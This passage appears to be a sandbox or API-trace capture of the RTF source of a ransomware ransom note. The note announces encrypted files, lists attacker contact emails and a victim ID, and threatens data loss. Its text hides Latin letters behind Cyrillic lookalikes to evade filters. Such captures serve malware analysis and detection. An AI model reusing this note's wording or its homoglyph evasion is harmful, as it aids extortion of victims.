h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x2763ff8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t 